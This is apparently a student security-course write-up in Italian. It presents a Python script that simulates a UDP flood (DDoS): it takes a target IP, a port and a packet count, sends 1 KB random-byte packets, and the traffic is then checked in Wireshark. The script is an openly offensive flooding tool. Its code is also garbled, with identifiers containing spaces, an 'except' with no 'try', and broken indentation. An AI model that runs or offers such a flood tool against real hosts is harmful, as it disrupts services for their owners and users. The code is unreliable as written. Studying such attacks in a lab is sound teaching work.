DDoS

In questo esercizio ho realizzato un programma in Python che simula un attacco di tipo UDP flood, ovvero l'invio massivo di pacchetti UDP verso una macchina target.

Il programma richiede in input:

l'indirizzo IP della macchina target,

la porta UDP sulla quale inviare i pacchetti,

il numero di pacchetti da 1 KB da trasmettere.

I pacchetti vengono costruiti generando byte casuali (tramite il modulo random) per raggiungere la dimensione di 1 KB ciascuno.

```
import random
import socket
def UDP():
   dati_da_inviare = random._urandom(1024)
    for x in range(numero pacchetti):
        s.sendto(dati da inviare, target)
        print("#", x, "UDP inviato\n")
indirizzo_ip = str(input("Inserisci l'indirizzo IP target:"))
porta = int(input("Inserisci la porta:"))
numero_pacchetti = int(input("Inserisci il numero di pacchetti da inviare:"))
    s = socket.socket(socket.AF INET, socket.SOCK DGRAM)
    target = (str(indirizzo ip), int(porta))
except:
   s.close()
   print("! Error !!! ")
UDP()
```

Dopo l'esecuzione, con Wireshark è stato possibile osservare il traffico UDP generato, confermando l'invio dei pacchetti verso l'host e la porta indicati.

